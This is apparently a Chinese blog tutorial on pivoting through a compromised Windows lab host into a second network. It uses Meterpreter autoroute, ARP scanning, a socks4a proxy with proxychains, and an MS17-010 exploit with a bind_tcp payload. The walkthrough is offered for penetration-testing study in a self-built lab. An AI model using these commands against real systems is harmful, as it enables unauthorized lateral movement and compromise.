至少我们曾经在一起过。 来自:一言
var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();
前言 经过前面的学习操作,我们已经 拿到一台服务器的权限了,然后通过查看靶机的网络信息,发现是双网卡,就是说是两层网络,通过kali是不能直接与另外一台服务器通信的,所以我们需要用这个靶机做代理跳板去攻击第二层网络的靶机。[aru_34]
kali:192.168.137.138
Win2012靶机:192.168.137.129 网卡二:1.1.2.2
靶机二:未知
相关命令:
run get_local_subnets //获取网段 run autoroute -s 192.168.250.1/24 //添加路由 run autoroute -p //查看路由 run autoroute -d -s 172.2.175.0 //删除网段 run post/windows/gather/arp_scanner RHOSTS=1.1.2.0/24 //扫描该网段下存活的主机 实战演练 1.在meterpreter下先查看路由表 2.然后手动添加路由 命令:run autoroute -s 1.1.2.0/24 (也可以用 run post/multi/manage/autoroute 自动添加路由) 3.然后查看路由表信息,和扫描该网段下的主机 查看已经添加的路由:run autoroute -p 扫描该网段下的主机:run post/windows/gather/arp_scanner RHOSTS=1.1.2.0/24 4.使用socket代理 先background把session挂在后台 命令:use auxiliary/server/socks4a (用set命令修改参数,如果端口被占用,可以改别的) 然后复制一个新会话,修改proxychains的配置文件 vim /etc/proxychains.conf(在配置文件最后修改) 最后测试代理是否成功 cp /usr/lib/proxychains3/proxyresolv /usr/bin/ proxyresolv 1.1.2.1 5.最后利用代理打开msf进行跳板攻击 启动命令:proxychains msfconsole 使用ms17-010漏洞(因为是事先准备好的靶机,所以知道存在什么漏洞,不知道的情况下,大家只有去扫了) 注意:因为这里我们是用的代理去进行攻击的,所以payload需要设置成bind的,如:windows/x86/meterpreter/bind_tcp 设置好相关参数直接攻击就可以了。 (通过代理攻击成功,已经拿到1.1.2.1的权限[aru_23]) 总结 自己胡乱搭建的内网环境,中间也出现了一些问题,不过还算是成功了吧,写的比较乱,如果发现二层网络里还有其他网络的话就需要进行多层跳板代理,ip太多,容易记错。大佬们笑笑就好了[aru_70]